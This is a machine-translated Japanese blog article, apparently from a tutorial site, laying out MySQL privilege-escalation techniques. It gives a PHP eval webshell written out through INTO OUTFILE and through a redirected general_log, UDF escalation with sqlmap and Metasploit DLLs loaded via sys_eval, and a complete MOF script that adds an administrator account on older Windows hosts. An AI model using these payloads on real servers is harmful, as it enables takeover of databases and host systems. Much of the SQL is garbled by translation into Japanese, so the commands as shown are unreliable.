MySQL 権限昇格のさまざまな形態の概要

MySQL 権限昇格のさまざまな形態の概要

1. Webshel​​lを書く

出力ファイルにシェルを書き込む

前提条件:

1. ウェブサイトの物理的なパスを知る

2. 高い権限を持つデータベースユーザー

3. load_file() が有効になっている、つまり secure_file_priv は無制限である

4. ウェブサイトのパスに書き込み権限がある

まず、基本構文は、secure_file_privに制限がないかどうかを問い合わせます。

'%secure_file_priv%' のようなグローバル変数を表示します。 

価値例示する
NULL輸入も輸出も禁止
/varインポートとエクスポートは/varディレクトリでのみ許可されます
ヌル無制限のディレクトリ

MySQL 5.5 より前では、 secure_file_priv はデフォルトで空でした。この場合、任意の絶対パスにファイルを書き込むことができました。

MySQL 5.5 以降では、 secure_file_priv のデフォルトは NULL に設定され、その場合、ファイルを書き込むことはできません。

上記の条件がすべて満たされている場合は、次の SQL ステートメントを使用してシェルに直接書き込むことができます。

'<?php @eval($_POST[cmd]); ?>' を出力ファイル 'C:\\soft\\WWW\\empirecms\\shell.php' に選択します。 

ターゲットパスを確認し、shell.phpファイルが書き込まれていることを確認します。

上部包丁接続部

ログファイル書き込みシェル

前提条件:

1. Webフォルダの緩い権限が書き込まれる可能性がある

2. ウィンドウ

3. MySQLまたはApacheを高い権限で実行する

MySQL 5.0以降ではログファイルが作成されますが、ログのグローバル変数をgetshellに変更することで変更できます。

ログディレクトリを表示する

'general%' のような変数を表示します。 

general_log はデフォルトで無効になっています。有効にすると、ユーザーが入力したすべてのコマンドが記録され、対応するログ ファイルに保存されます。
ログ ファイルをカスタマイズして、ログ ファイルにコンテンツを書き込むと、getshell を正常に実行できます。

ログファイルの場所の変更

グローバル general_log を "ON" に設定します。
グローバル general_log_file を 'C:\\soft\\WWW\\empirecms\\log.php' に設定します。

現在のログ構成を表示する

ターゲットディレクトリを確認し、log.phpファイルを書き込みます

シェルに書き込む

'<?php @eval($_POST[cmd]); ?>' を選択します

包丁で接続する


2. UDF 権限昇格

カスタム関数は、データベース機能の拡張です。ユーザーはカスタム関数を使用して、MySQL では簡単に実装できない関数を実装できます。新しく追加された関数は、ネイティブ関数 version() を呼び出すのと同じように、SQL ステートメントで呼び出すことができます。

ダイナミック リンク ライブラリ

MySQL のバージョンが 5.1 以上の場合、カスタム関数を作成する前に、UDF ダイナミック リンク ライブラリ ファイルを MySQL インストール ディレクトリの下の lib\plugin フォルダに配置する必要があります。

では、ダイナミック リンク ライブラリ ファイルはどこにありますか?実際、私たちがよく使用するツールである sqlmap と Metasploit には、対応するシステム用のダイナミック リンク ライブラリ ファイルが付属しています。

sqlmap UDF ダイナミック リンク ライブラリ ファイルの場所

sqlmap ルートディレクトリ/data/udf/mysql

ただし、sqlmap に含まれるこれらのダイナミック リンク ライブラリは、誤って強制終了されることを防ぐためにコーディングされており、直接使用することはできません。ただし、sqlmap に付属するデコード ツール cloak.py を使用してデコードすることができます。cloak.py の場所は、sqlmap ルート ディレクトリ/extra/cloak/cloak.py です。

デコード方法は次のとおりです。

32 ビット Windows ダイナミック リンク ライブラリのデコード:

python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

他のLinuxおよびWindowsのダイナミックリンクライブラリのデコードも同様です

または、デコードせずにmetasploitに付属するダイナミックリンクライブラリを直接使用する

Metasploit UDF ダイナミック リンク ライブラリ ファイルの場所

次のタスクは、UDF ダイナミック リンク ライブラリ ファイルを MySQL プラグイン ディレクトリに配置することです。このディレクトリを見つけるにはどうすればよいでしょうか?次の SQL ステートメントを使用してクエリを実行できます。

'%plugin%' のような変数を表示する


ダイナミックリンクライブラリの書き込み

secure_file_privが無制限の場合、プラグインディレクトリに手動でファイルを書き込むことができます。

load_file('C:\\soft\\UDFmysql\\lib_mysqludf_sys_32.dll') をダンプファイル 'C:\\soft\\MySQL\\lib\\plugin\\udf.dll' に選択します。

c

カスタム関数を作成し、コマンドを呼び出す

カスタム関数の作成

CREATE FUNCTION sys_eval は STRING SONAME 'udf.dll' を返します。 

sys_evalが追加されているかどうかを確認する

次に、作成された関数を通じてシステム コマンドを実行できます。

カスタム関数の削除

関数 sys_eval を削除します。

3. MOF 権限昇格

Mof 権限昇格原則

mof 権限昇格の原理は、実は非常に単純です。c:/windows/system32/wbem/mof/ ディレクトリの nullevt.mof ファイルを使用して、特定の時間に 1 分ごとに実行し、実行用の cmd コマンドを書き込みます。

厳格な前提条件:

1. Windows 03以下

2. mysqlの起動IDには、c:/windows/system32/wbem/mofディレクトリの読み取りと書き込みの権限があります。

3. secure-file-privパラメータがnullではない

権限昇格プロセス:

MOF ファイルは 5 秒ごとに実行され、システム権限です。mysql を介して load_file を使用してファイルを /wbme/mof に書き込むと、システムはアップロードした MOF を 5 秒ごとに実行します。 MOF には vbs スクリプトがあります。この vbs スクリプトの内容を制御して、システムがコマンドを実行し、権限を昇格できるようにすることができます。

エクスプロイト コードは次のとおりです (test.mof):

#pragma namespace("\\\\.\\root\\subscription")
__EventFilter のインスタンスを $EventFilter として
{
イベント名前空間 = "Root\\Cimv2";
名前 = "filtP2";
クエリ = "Select * From __InstanceModificationEvent"
「TargetInstance は \"Win32_LocalTime\" です」
「そして TargetInstance.Second = 5」;
クエリ言語 = "WQL";
};
ActiveScriptEventConsumer のインスタンスを $Consumer として
{
名前 = "consPCSV2";
スクリプトエンジン = "JScript";
スクリプトテキスト =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")\nWSH.run(\"net.exe localgroup administrators hpdoger /add\")";
};
__FilterToConsumerBinding のインスタンス
{
消費者 = $Consumer;
フィルター = $EventFilter;
};

MOF ファイルの使用率:

上記のスクリプトを読み取りおよび書き込み権限のあるディレクトリにアップロードします。

ここではC:\soft\にアップロードし、SQL文を使用してファイルをc:/windows/system32/wbem/mof/にインポートします。

load_file("C:/soft/test.mof") をダンプファイル "c:/windows/system32/wbem/mof/nullevt.mof" に選択します。

権限昇格を確認します。

mof のエクスポートに成功すると、mof が直接実行され、5 秒ごとにユーザーが作成されます。

MOF権限昇格のデメリットについて

権限の昇格に成功した後、アカウントが削除されたとしても、mof は 5 秒以内に元のアカウントを再構築します。これにより、テストを終了するのに大きな問題が発生するため、注意して使用してください。では、ハッキングされたアカウントを削除するにはどうすればいいのでしょうか?

cmd で次のステートメントを実行します。

#winmgmt サービスを停止します net stop winmgmt

#リポジトリフォルダを削除します rmdir /s /q C:\Windows\system32\wbem\Repository\

# mof ファイルを手動で削除します del c:/windows/system32/wbem/mof/nullevt.mof /F /S

# 作成したユーザーを削除する net user hpdoger /delete

#サービスを再起動しますnet start winmgmt

要約する

これで、MySQL 権限昇格手法に関するこの記事は終了です。MySQL 権限昇格手法の詳細については、123WORDPRESS.COM の以前の記事を検索するか、以下の関連記事を引き続き参照してください。今後とも 123WORDPRESS.COM をよろしくお願いいたします。

以下もご興味があるかもしれません:
  • Linux は UDF ライブラリを使用して MySQL 権限昇格を実現します
  • MySQL 権限昇格方法
  • MySQL の名の下に権限を昇格する

<<:  モバイル適応型ウェブページ効果は、小さな表示ページの問題を解決します

>>:  div を下から上にスライドさせる CSS3 の例

推薦する

Bootstrap 3.0 学習ノート グリッドシステムの原則

前の 2 つの記事の簡単な紹介を通じて、Bootstrap についての基礎的な理解が得られました。 ...

Linux のごみ箱メカニズムの実装プロセスと使用方法の詳細な説明

序文: Linux システムでの rm は元に戻せません。コマンドの設計自体に問題はありません。問題...

ウェブデザインの詳細分析に関する詳細な議論

設計業務では、設計者がレビューに参加したり、リーダーの一部が設計案の詳細が足りないと言っているのをよ...

サブメニューをクリックする効果を実現するJavaScript

この記事では、クリック時にサブメニューを表示するためのJavaScriptの具体的なコードを参考まで...

MySQL 5.7.23 解凍バージョンのインストールチュートリアル(画像とテキスト付き)

MySQLインストーラをダウンロードする公式ダウンロードアドレス: http://dev.mysq...

JSは10進数を16進数に変換するサンプルコードを実装します

序文コードを書くと、時々基数変換の問題に遭遇します。一般的な変換には、2進数、8進数、10進数、16...

HTML テーブルタグチュートリアル (20): 行の背景色属性 BGCOLOR

BGCOLOR 属性を使用して、行の背景色を設定できます。基本的な構文<TR BGcolor...

ウェブサイトを構築するときは、UTF-8 または GB2312 エンコードを使用する必要がありますか?

外国のウェブサイトを開くと文字化けした文字が表示されることが多く、また、英語以外の外国のウェブサイト...

Vue3 の父子値転送に関する簡単な説明

目次父から息子へ: 1. 親コンポーネントのサブコンポーネントタグに、サブコンポーネントに渡されるデ...

Linux で Multitail コマンドを使用するチュートリアル

MultiTail は、tail コマンド機能と同様に、複数のドキュメントを同時に監視するために使用...

mysql8.x docker リモートアクセスの詳細な設定

目次環境条件エラーが発生しました回避策1. mysql dockerにログインする2. ルートパスワ...

Alibaba Cloud Server Linux システムは Tomcat を構築して Web プロジェクトを展開します

私は全体のプロセスを 4 つのステップに分けます。 JDKをダウンロードしてインストールするTomc...

CSSで記事の区切り線のスタイルを実装するさまざまな方法のまとめ

この記事では、CSS で記事の区切り線を実装するさまざまな方法をまとめています。区切り線はページを美...

Mysql の一般的なベンチマーク コマンドの概要

mysqlslap共通パラメータの説明–auto-generate-sql システムはテスト用のSQ...

JavaScript で簡単な計算機を実装する

この記事の例では、参考までに簡単な計算機を実装するためのJavaScriptの具体的なコードを共有し...